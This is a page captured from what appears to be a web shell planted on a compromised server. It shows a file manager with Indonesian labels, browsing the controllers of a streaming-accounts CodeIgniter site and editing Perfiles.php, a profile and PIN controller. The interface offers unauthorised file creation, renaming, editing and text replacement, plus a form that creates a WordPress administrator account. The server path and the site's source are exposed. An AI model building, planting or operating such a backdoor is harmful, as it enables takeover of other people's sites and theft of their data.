📝 File Editor (IP: )
📂 Root Folder:
🔍 Buka
📁 Daftar isi: /home/goblinst/public_html/cuentas.goblinstreaming21.com/application/controllers
⬅️ Kembali ke folder sebelumnya
📄
Clientes.php
📄
Configuraciones.php
📄
Login.php
📄
Paneles.php
📄
Perfiles.php
📄
Productos.php
📄
Servicios.php
📄
Usuarios.php
📄
Ventas.php
📄
Welcome.php
📄
index.html
📁 Folder Baru:
+ Buat
📄 File Baru:
+ Buat
✏️ Rename:
Clientes.php
Configuraciones.php
Login.php
Paneles.php
Perfiles.php
Productos.php
Servicios.php
Usuarios.php
Ventas.php
Welcome.php
index.html
➡️
Rename
➕ Tambah User WordPress (folder aktif)
👤 Username:
📧 Email:
🔒 Password:
➕ Buat User WP (admin)
📝 Mengedit: Perfiles.php
<?php defined('BASEPATH') or exit('No direct script access allowed'); class Perfiles extends CI_Controller { public function __construct() { parent::__construct(); $this->load->model('perfil'); $this->load->model('producto'); } public function index($id_pro) { $data["listadoPerfilesPorProducto"] = $this->perfil->obtenerTodosPorProducto($id_pro); $data["producto"] = $this->producto->obtenerPorId($id_pro); $this->load->view('header'); $this->load->view('perfiles/index', $data); $this->load->view('footer'); } public function guardarPerfil() { $datosNuevoPerfil = array( "nombre_per" => $this->input->post('nombre_per'), "pin_per" => $this->input->post('pin_per'), "estado_per" => 1, "fk_id_pro" => $this->input->post('fk_id_pro'), ); $this->perfil->insertar($datosNuevoPerfil); $resultado = $this->producto->verificarEstadoProductos($this->input->post('fk_id_pro')); if ($resultado->estado_pro == "2") { $datosNuevoProducto = array( "estado_pro" => 1 ); $this->producto->actualizar($this->input->post('fk_id_pro'), $datosNuevoProducto); } } public function editar($id_per) { $data["perfil"] = $this->perfil->obtenerPorId($id_per); $this->load->view('header'); $this->load->view('perfiles/editar', $data); $this->load->view('footer'); } public function editarPerfil() { $id_per = $this->input->post('id_per'); $datosNuevoPerfil = array( "nombre_per" => $this->input->post('nombre_per'), "pin_per" => $this->input->post('pin_per'), "estado_per" => $this->input->post('estado_per'), ); $this->perfil->actualizar($id_per, $datosNuevoPerfil); } public function eliminarPerfil($id_per) { $this->perfil->eliminar($id_per); } public function ajaxTraerPerfilesPorIdProducto($id_pro) { $perfiles = $this->perfil->obtenerPerfilesPorProductoJSON($id_pro); echo json_encode($perfiles); } public function getData($id_pro) { $results = $this->perfil->obtenerTodosJson($id_pro); $data = []; $no = $_POST['start']; foreach ($results as $result) { $row = array(); //$row[] = ++$no; $row[] = $result->id_per; $row[] = $result->nombre_per; if ($result->pin_per == "" || $result->pin_per == NULL) { $row[] = "Perfil sin PIN"; } else { $row[] = $result->pin_per; } $row[] = $result->estado_per; $data[] = $row; } $output = array( "draw" => $_POST['draw'], "recordsTotal" => $this->perfil->count_all_data($id_pro), "recordsFiltered" => $this->perfil->count_filtered_data($id_pro), "data" => $data, ); $this->output->set_content_type('application/json')->set_output(json_encode($output)); } public function CRUD() { $opcionCrud = $this->input->post('opcionCrud'); switch ($opcionCrud) { case 1: $this->guardarPerfil(); break; case 2: $this->editarPerfil(); break; case 3: $this->eliminarPerfil($this->input->post('id_per')); break; } } }
💾 Simpan
🔁 Replace Teks (Ctrl+H)
Cari:
Ganti Dengan:
Replace All
Tutup